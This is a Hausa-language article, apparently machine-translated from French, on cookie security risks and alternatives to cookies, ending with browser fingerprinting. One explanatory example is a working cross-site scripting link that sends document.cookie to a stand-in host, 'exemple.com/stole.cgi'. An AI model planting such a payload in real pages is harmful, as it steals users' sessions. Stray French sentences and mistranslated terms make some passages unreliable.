Rubutu a cikin rukunin yanar gizon: kuki wanda yakamata a musanya tsakanin uwar garken da abokin ciniki ana aika zuwa wani ɓangare na uku.

Wata hanyar satar kukis ita ce ta rubuto rukunin yanar gizo kuma a sa mai binciken da kansa ya aika kukis zuwa sabar ƙeta waɗanda ba su taɓa karɓar su ba. Masu bincike na zamani suna ba da izinin aiwatar da sassan lambar da ake nema daga uwar garken. Idan ana samun damar kukis a lokacin aiki, ƙila za a iya sanar da ƙimar su ta wani nau'i ga sabar da bai kamata ya isa gare su ba. Rufe kukis kafin a aika su akan hanyar sadarwar baya taimakawa wajen dakile harin.

Irin wannan rubutun a cikin rukunin yanar gizon yawanci maharan suna aiki da shi akan rukunin yanar gizon da ke ba masu amfani damar buga abun ciki na HTML. Ta hanyar haɗa wani ɓangare na lambar da ta dace a cikin gudummawar HTML, mai hari zai iya karɓar kukis daga wasu masu amfani. Ana iya amfani da ilimin waɗannan kukis ta hanyar haɗawa zuwa wannan rukunin yanar gizon ta amfani da kukis ɗin da aka sace, don haka ana gane su azaman mai amfani da aka sace kukis ɗinsa.

Hanya ɗaya don hana irin waɗannan hare-haren ita ce amfani da tutar HttpOnly; wani zaɓi ne, wanda aka gabatar tun daga nau'in 6 na Internet Explorer a cikin PHP tun daga nau'in 5.2.0 wanda aka tsara don sa kuki ɗin ba zai iya isa ga abokin ciniki ba kusa da rubutun. Duk da haka, ya kamata masu haɓaka gidan yanar gizon su yi la'akari da wannan a cikin ci gaban rukunin yanar gizon su ta yadda ba su da kariya ga rubutun a cikin shafin.

Wata barazanar tsaro da ake amfani da ita ita ce ƙirƙira ƙirƙira a cikin rukunin yanar gizon.

Ƙididdigar fasaha ta hukuma tana ba da damar a mayar da kukis zuwa sabar kawai a cikin yankin da suka samo asali. Koyaya, ana iya aika ƙimar kukis zuwa wasu sabar ta amfani da hanyoyin ban da rubutun kuki.

Musamman ma, harsunan rubutun kamar JavaScript gabaɗaya ana ba su damar samun damar ƙimar kuki kuma suna da ikon aika ƙimar sabani zuwa kowane sabar akan Intanet. Ana amfani da wannan damar rubutun daga gidajen yanar gizon da ke ba masu amfani damar aika abun ciki na HTML don sauran masu amfani su gani.

Misali, maharin da ke aiki a kan yankin example.com na iya yin sharhi mai ɗauke da hanyar haɗin yanar gizo mai zuwa yana nuni ga sanannen bulogi wanda in ba haka ba ba sa sarrafawa:

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

Lokacin da wani mai amfani ya danna wannan hanyar haɗin yanar gizon, mai binciken yana aiwatar da sashin danna maɓallin dannawa na lambar, don haka yana maye gurbin kirtani na kuki tare da jerin kukis masu amfani waɗanda ke aiki don wannan shafin. Don haka, ana aika wannan jerin kukis zuwa uwar garken example.com, don haka maharin ya sami damar tattara kukis na wannan mai amfani.

Irin wannan harin yana da wuyar ganowa a gefen mai amfani saboda rubutun ya fito daga yanki ɗaya wanda ya saita kuki, kuma aikin aika ƙimar yana bayyana don samun izini daga wannan yanki. Ana la'akari da cewa alhakin masu gudanar da wannan nau'in rukunin yanar gizon ne su sanya takunkumin hana buga lambar ɓarna.

Ba a ganin kukis kai tsaye ga shirye-shiryen gefen abokin ciniki kamar JavaScript idan an aiko su da tutar HttpOnly. Daga ra'ayi na uwar garken, kawai bambanci shine cewa a cikin layin Set-Cookie header an ƙara sabon filin mai ɗauke da kirtani HttpOnly:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

Lokacin da mai binciken ya karɓi irin wannan kuki, ya kamata ya yi amfani da shi kullum a cikin musayar HTTP mai zuwa, amma ba tare da sanya shi ganuwa ga rubutun da aka kashe a gefen abokin ciniki ba. Tutar HttpOnly ba ta cikin kowane takamaiman ƙayyadaddun fasaha na hukuma, kuma ba a aiwatar da shi a cikin duk masu bincike. Lura cewa a halin yanzu babu wata hanya ta hana karantawa da rubuta kukis ɗin zaman ta hanyar XMLHTTPRequest.

Canja abun ciki: mai hari yana aika kuki mara inganci zuwa uwar garken, maiyuwa an yi shi daga kuki mai inganci wanda uwar garken ta aika.

Da zaran ana buƙatar adana kukis ɗin kuma a mayar da su ba canzawa zuwa uwar garken, mai hari zai iya canza ƙimar kukis ɗin kafin a mayar da su zuwa uwar garken. Misali, idan kuki ya ƙunshi jimlar ƙimar da mai amfani zai biya don abubuwan da aka sanya a cikin keken siyayyar kantin, canza wannan ƙimar yana fallasa uwar garken ga haɗarin cajin maharin ƙasa da farashin farawa. Ana kiran tsarin gyaran ƙimar kukis gubar kuki kuma za a iya amfani da shi bayan satar kuki don sa harin ya dawwama.

A cikin hanyar kawar da kuki, maharin yana amfani da kuskuren burauza don aika kuki mara inganci zuwa uwar garken.

Yawancin gidajen yanar gizo, duk da haka, suna adana ID na zaman kawai - lambar musamman da aka ƙirƙira bazuwar da aka yi amfani da ita don tantance mai amfani da zaman - a cikin kuki kanta, yayin da duk sauran bayanai ke adana akan sabar. A wannan yanayin, an magance wannan matsala da yawa.

Ana sa ran kowane rukunin yanar gizon yana da kukis ɗinsa, don haka bai kamata rukunin yanar gizon ya iya gyara ko ƙirƙirar kukis masu alaƙa da wani rukunin yanar gizo ba. Rashin tsaro na mai binciken gidan yanar gizo na iya ba da damar rukunin yanar gizo mara kyau su karya wannan doka. Amfani da irin wannan aibi ana kiransa da yawa giciye-site dafa abinci. Dalilin irin waɗannan hare-haren na iya zama satar ID na zama.

Masu amfani yakamata su yi amfani da sabbin nau'ikan masu binciken gidan yanar gizo waɗanda aka kusan kawar da waɗannan lahani.

Yanayin rikici tsakanin abokin ciniki da uwar garken

Amfani da kukis na iya haifar da sabani tsakanin yanayin abokin ciniki da jihar da aka adana a cikin kuki. Idan mai amfani ya sami kuki kuma ya danna maɓallin "Back" na burauzar, yanayin mai binciken gabaɗaya baya ɗaya da kafin wannan siyan. Misali, idan an ƙirƙiri kwandon kantin kan layi ta amfani da kukis, abubuwan da ke cikin kwandon ba za su iya canzawa ba lokacin da mai amfani ya dawo tarihin burauza: idan mai amfani ya danna maɓalli don ƙara labarin a cikin kwandon sa kuma danna kan "Komawa". "button, labarin ya kasance a cikin wannan. Wannan na iya zama ba nufin mai amfani ba, wanda tabbas yana so ya soke ƙari na labarin. Wannan na iya haifar da rashin dogaro, rudani, da kwari. Don haka ya kamata masu haɓaka gidan yanar gizon su san wannan matsala kuma su aiwatar da matakan da za su magance yanayi kamar haka.

Kwararru kan tsaro na sirri sun soki kukis masu dawwama saboda rashin saita su don ƙarewa nan ba da jimawa ba, wanda hakan zai baiwa gidajen yanar gizo damar bin diddigin masu amfani da gina bayanansu na tsawon lokaci. Wannan bangare na kukis shima wani bangare ne na matsalar sace-sacen zaman, saboda ana iya amfani da kuki mai dagewa da aka sata don kwaikwayi mai amfani na wani lokaci mai tsawo.

Don karanta kuma: GAFAM: su waye? Me yasa (wani lokaci) suke ban tsoro?

Madadin kukis

Wasu ayyuka da za a iya yi ta amfani da kukis kuma za a iya yin su ta amfani da wasu hanyoyin da ke ƙetare kukis ko sake ƙirƙirar kukis ɗin da aka goge, wanda ke haifar da batutuwan sirri ta hanya ɗaya (ko wani lokacin mafi muni saboda sannan ganuwa) fiye da kukis.

Adireshin IP

Ana iya bin masu amfani da adireshin IP na kwamfutar da ke kiran shafin. Ana samun wannan dabarar tun lokacin da aka ƙaddamar da Gidan Yanar Gizo na Duniya, yayin da ake zazzage shafuka, uwar garken tana buƙatar adireshin IP na kwamfutar da ke aiki da browser ko wakili, idan ba a yi amfani da su ba. Sabar na iya bin wannan bayanin ko akwai kukis da ake amfani da su ko a'a. Koyaya, waɗannan adiresoshin galibi ba su da aminci wajen gano mai amfani fiye da kukis saboda kwamfutoci da wakilai na iya raba masu amfani da yawa, kuma kwamfuta ɗaya na iya karɓar adireshin IP daban-daban akan kowane zaman aiki (kamar c sau da yawa yanayin haɗin tarho) .

Bin diddigin adiresoshin IP na iya zama abin dogaro a wasu yanayi, kamar hanyoyin haɗin yanar gizo waɗanda ke kula da adireshin IP iri ɗaya na dogon lokaci, muddin wutar tana kunne.

Wasu tsarin kamar Tor an ƙirƙira su ne don kiyaye sirrin Intanet da sanya sa ido ta adireshin IP ba zai yiwu ba ko kuma ba zai yiwu ba.

URL

Ingantacciyar dabara ta dogara ne akan shigar da bayanai a cikin URLs. Sashin igiyar tambaya na URL wata dabara ce da aka saba amfani da ita don wannan dalili, amma ana iya amfani da wasu sassa kuma. Dukansu uwar garken Java da tsarin zaman PHP suna amfani da wannan hanyar idan ba a kunna kukis ba.

Wannan hanyar ta ƙunshi sabar gidan yanar gizo tana haɗa buƙatun kirtani zuwa hanyoyin haɗin yanar gizon da ke ɗauke da shi lokacin da aka aika zuwa mai lilo. Lokacin da mai amfani ya bi hanyar haɗin yanar gizo, mai bincike yana mayar da igiyoyin tambaya da aka makala zuwa uwar garken.

igiyoyin tambaya da aka yi amfani da su don wannan dalili da kukis sun yi kama da juna, duka bayanan da sabar ta zaɓa ba bisa ka'ida ba kuma mai bincike ya dawo da su. Koyaya, akwai wasu bambance-bambance: lokacin da aka sake amfani da URL ɗin da ke ɗauke da zaren tambaya, ana aika bayanai iri ɗaya zuwa uwar garken. Misali, idan abubuwan da mai amfani ke so aka sanya su a cikin layin tambaya na URL kuma mai amfani ya aika URL ɗin zuwa wani mai amfani ta imel, mai amfani kuma zai iya amfani da waɗannan abubuwan zaɓin.

A gefe guda, lokacin da mai amfani ya shiga shafi ɗaya sau biyu, babu tabbacin cewa za a yi amfani da igiyar tambaya iri ɗaya sau biyu. Misali, idan mai amfani ya sauka akan shafi daga shafin yanar gizo a karo na farko kuma ya sauka akan shafi guda daga wani shafi na waje a karo na biyu, igiyar tambaya dangane da shafin yanar gizon yawanci ya bambanta, yayin da kukis iri ɗaya ne. .

Sauran rashin lahani na igiyoyin tambaya suna da alaƙa da tsaro: adana bayanan da ke gano zama a cikin igiyoyin tambaya yana ba da damar ko sauƙaƙa hare-haren gyara zaman, harin ganowa, da sauran fa'idodi. Wucewa ID na zama kamar kukis na HTTP ya fi tsaro.

Filin tsari na ɓoye

Wani nau'i na bin diddigin zaman, wanda ASP.NET ke amfani dashi, shine yin amfani da fom ɗin gidan yanar gizo tare da ɓoyayyun filayen. Wannan dabarar tayi kama da amfani da igiyoyin neman URL don ɗaukar bayanai kuma tana da fa'idodi da rashin amfani iri ɗaya; kuma idan an sarrafa fom ɗin tare da hanyar HTTP GET, a zahiri filayen sun zama wani ɓangare na URL na burauzar da zai aika lokacin ƙaddamar da fom ɗin. Amma yawancin nau'ikan ana sarrafa su da HTTP POST, wanda ke haifar da bayanan sigar, gami da ɓoyayyun filayen, don ƙara su azaman ƙarin shigarwar da ba wani ɓangare na URL ko kuki ba.

Wannan hanya tana da fa'idodi guda biyu daga hangen nesa: na farko, bin diddigin bayanan da aka sanya a cikin lambar tushe na HTML da shigar da POST maimakon URL ɗin zai ba da damar matsakaicin mai amfani don guje wa wannan bin diddigin; na biyu, ba a kwafin bayanin zaman lokacin da mai amfani ya kwafi URL ɗin (don adana shafin zuwa faifai ko aika ta imel, alal misali).

taga.suna

Duk masu binciken gidan yanar gizo na gama gari na iya adana adadi mai yawa na bayanai (2MB zuwa 32MB) ta hanyar JavaScript ta amfani da dukiyar taga DOM. Ana iya amfani da wannan bayanan maimakon kukis na zaman kuma ana amfani da shi a cikin yanki. Ana iya haɗa dabarar tare da abubuwan JSON don adana hadaddun saiti na masu canjin zaman abokin ciniki.

Abun da ke ƙasa shine kowane taga daban ko shafin zai fara samun fanko.name; lokacin yin lilo ta shafuka (mai amfani da shi ya buɗe) wannan yana nufin cewa shafukan da aka buɗe daban-daban ba za su sami sunan taga ba. Hakanan za'a iya amfani da window.name don bin diddigin baƙi a cikin shafuka daban-daban waɗanda zasu iya haifar da damuwa ta sirri.

A wasu fannoni wannan na iya zama mafi aminci fiye da kukis, saboda rashin shigar uwar garken, don haka ya sa ya zama mara lahani ga harin kukis na saƙo. Duk da haka, idan aka ɗauki matakai na musamman don kare bayanan, yana da wuyar samun ƙarin hare-hare, saboda ana samun bayanan ta wasu shafukan da aka bude a cikin wannan taga.

Tabbatar da HTTP

Ka'idar HTTP ta ƙunshi ainihin ƙa'idodin tabbatar da samun damar shiga da kuma narkar da samun damar shiga, wanda ke ba da damar shiga shafin yanar gizon kawai lokacin da mai amfani ya ba da sunan mai amfani da kalmar wucewa. okay pass. Idan uwar garken yana buƙatar takaddun shaida don ba da damar shiga shafin yanar gizon, mai binciken yana buƙatar shi daga mai amfani kuma da zarar an samu, mai binciken yana adana shi kuma ya aika a duk buƙatun HTTP masu zuwa. Ana iya amfani da wannan bayanin don bin diddigin mai amfani.

Abun da aka raba na gida

Idan mai lilo ya ƙunshi plugin ɗin Adobe Flash Player, to abubuwan da aka raba na gida ana iya amfani da shi don manufa ɗaya da kukis. Zasu iya zama kyakkyawan zaɓi ga masu haɓaka gidan yanar gizo saboda:

  • Matsakaicin girman tsoho don abu mai raba gida shine 100 KB;
  • Binciken tsaro ya bambanta da masu duba kuki (don haka ana iya ba da izinin abubuwan raba gida lokacin da ba kukis).

Wannan batu na ƙarshe, wanda ke bambanta manufofin sarrafa kuki da na abubuwan raba gida na Adobe tada tambayoyi game da gudanarwa ta mai amfani da saitunan sirrinsa: dole ne ya sani cewa sarrafa kukis ɗinsa ba shi da wani tasiri akan sarrafa abubuwan da aka raba na gida, kuma akasin haka.

Wani sukar wannan tsarin shi ne cewa za a iya amfani da shi ta hanyar Adobe Flash Player plugin wanda mallakarsa ne ba ma'auni na yanar gizo ba.

Dagewar abokin ciniki

Wasu masu binciken gidan yanar gizo suna goyan bayan tsarin dagewa na tushen rubutun, wanda ke ba shafin damar adana bayanai a cikin gida don amfani daga baya. Internet Explorer, alal misali, yana goyan bayan bayanai masu ɗorewa a tarihin burauza, alamun shafi, a cikin sigar da aka adana a cikin XML, ko kai tsaye tare da shafin yanar gizon da aka ajiye zuwa faifai. Don Microsoft Internet Explorer 5, akwai hanyar mai amfani-bayanai da ake samu ta halayen DHTML.

W3C ya gabatar a cikin HTML 5 sabon API na JavaScript don ajiyar bayanan gefen abokin ciniki da ake kira ajiyar Yanar Gizo da nufin maye gurbin kukis na dindindin. Yana kama da kukis amma tare da ingantacciyar ƙarfi kuma ba tare da adana bayanai a cikin taken buƙatun HTTP ba. API ɗin yana ba da damar ma'ajiyar yanar gizo nau'ikan nau'ikan nau'ikan yanar gizo guda biyu: ma'ajiyar gida da ajiyar lokaci, kama da kukis masu dagewa da kukis ɗin zaman (sai dai kukis ɗin zaman yana ƙarewa lokacin da mai lilo ya rufe yayin ajiyar zaman ƙare lokacin da shafin ke rufe), bi da bi. Ma'ajiyar yanar gizo tana samun goyon bayan Mozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 da Opera 10.50.

Wata hanyar dabam takan dogara ne akan caching na burauza (a cikin ƙwaƙwalwar ajiya maimakon wartsakewa) ta amfani da shirye-shiryen JavaScript a cikin shafukan yanar gizo. 

Misali, shafi na iya ƙunsar alamar . La première fois que la page se charge, le programme exemple.js est aussi chargé. 

A wannan gaba, shirin yana kasancewa cikin ƙwaƙwalwar ajiyar cache kuma shafin da aka ziyarta ba a sake loda shi a karo na biyu. Saboda haka, idan shirin ya ƙunshi ma'auni na duniya (misali var id = 3243242;), wannan mai ganowa ya kasance mai aiki kuma za a iya amfani da shi ta wasu lambar JavaScript da zarar an sake loda shafin, ko kuma da zarar an loda shafin da ke haɗa shirin. 

Babban rashin lahani na wannan hanyar shine cewa JavaScript na duniya dole ne ya kasance a tsaye, ma'ana ba za a iya canza shi ko share shi kamar kuki ba.

sawun yatsa mai binciken gidan yanar gizo

Hoton yatsa mai bincike shine bayanin da aka tattara game da saitunan saitin burauza don dalilai na tantancewa. Ana iya amfani da waɗannan hotunan yatsa don cikakken ko ɓangarorin gano mai amfani da Intanet ko na'ura koda lokacin da kukis ke kashe.

Sabis na masu sauraron gidan yanar gizon ya daɗe yana tattara ainihin bayanan mai binciken yanar gizo don manufar auna daidai zirga-zirgar gidan yanar gizon ɗan adam da gano nau'ikan zamba daban-daban. Tare da taimakon harsunan rubutun gefen abokin ciniki, ƙarin ingantaccen tattara bayanai shine yanzu mai yiwuwa.

Mayar da wannan bayanin zuwa ɗan kirtani yana samar da hoton yatsa na na'ura. A cikin 2010, Gidauniyar Wutar Lantarki ta Lantarki (EFF) ta auna sawun yatsan mai bincike don zama aƙalla. 18,1 ragowa, kuma hakan ya kasance kafin ci gaba a cikin zanen zanen yatsa ya ƙara 5,7 rago zuwa wannan entropy.

Kukis a takaice

Kukis ƙananan fayilolin rubutu ne da mai binciken gidan yanar gizo ke adana akan rumbun kwamfutarka na maziyartan gidan yanar gizo kuma waɗanda ake amfani da su (cikin wasu abubuwa) don yin rikodin bayanai game da baƙo ko tafiyarsu cikin rukunin yanar gizon. Don haka mai kula da gidan yanar gizon zai iya gane halayen baƙo kuma ya keɓance gabatarwar shafinsa ga kowane baƙo; kukis sannan yana ba da damar tunawa da adadin labaran da za a nuna akan shafin gida ko ma don riƙe takaddun shaidar shiga ga kowane ƙungiya mai zaman kansa: lokacin da baƙo ya dawo rukunin yanar gizon, ba lallai ba ne ya rubuta sunansa da kalmar wucewa. a gane, tunda ana karanta su ta atomatik a cikin kuki.

Kuki yana da iyakataccen lokacin rayuwa, wanda mai tsara rukunin yanar gizon ya saita. Hakanan za su iya ƙarewa a ƙarshen zaman akan rukunin yanar gizon, wanda yayi daidai da rufe mai binciken. Ana amfani da kukis don sauƙaƙa rayuwa ga baƙi da gabatar musu da ƙarin bayanai masu dacewa. Amma dabaru na musamman suna ba da damar bin baƙo a shafuka da yawa don haka tattarawa da bincika bayanai masu yawa kan halayensa. Wannan hanyar ta bai wa amfani da kukis suna a matsayin dabarar sa ido da ke keta sirrin baƙi, wanda abin takaici ya yi daidai da gaskiya a yawancin lokuta na amfani don dalilai marasa fasaha ko rashin mutunta tsammanin mai amfani. .

Dangane da waɗannan ingantattun tsoro, HTML 5 yana gabatar da sabon API na JavaScript don ma'ajiyar bayanan abokin ciniki da ake kira Ma'ajiyar Yanar Gizo, wanda ya fi tsaro da ƙarfi, wanda ke nufin maye gurbin kukis.

Adana kukis

Tare da wasu masu bincike, kuki yana da sauƙin daidaitawa, editan rubutu mai sauƙi kamar Notepad ya isa ya canza ƙimarsa da hannu.

Ana adana kukis daban-daban dangane da mai lilo.

  • Microsoft Internet Explorer yana adana kowane kuki a cikin wani fayil daban;
  • Mozilla Firefox yana adana duk kukis ɗinsa a cikin fayil ɗaya;
  • Opera yana adana duk kukis ɗinsa a cikin fayil ɗaya kuma yana ɓoye su (ba zai yuwu a canza su ba sai a cikin zaɓuɓɓukan software);
  • Apple safari yana adana duk kukis ɗin sa a cikin fayil ɗin tsawo .plist guda ɗaya. Gyara yana yiwuwa amma ba mai sauƙi ba ne, sai dai idan kun shiga cikin zaɓuɓɓukan software.

Ana buƙatar masu bincike don tallafawa a kalla :

  • 300 kukis na lokaci guda;
  • 4 o kowane kuki;
  • Kukis 20 kowane mai masauki ko yanki.
[Gaba daya: 0 Ma'ana: 0]

Written by Editocin Sharhi

Ofungiyar kwararrun editocin suna amfani da lokacinsu don bincika kayayyaki, yin gwaje-gwaje a aikace, yin tambayoyi da ƙwararrun masana'antu, yin bita kan mabukata, da kuma rubuta dukkan sakamakonmu a matsayin taƙaitawa mai gamsarwa.

Leave a comment

Adireshin imel ba za a buga ba. Da ake bukata filayen suna alama *

Me kuke tunani?

384 points
Upvote Downvote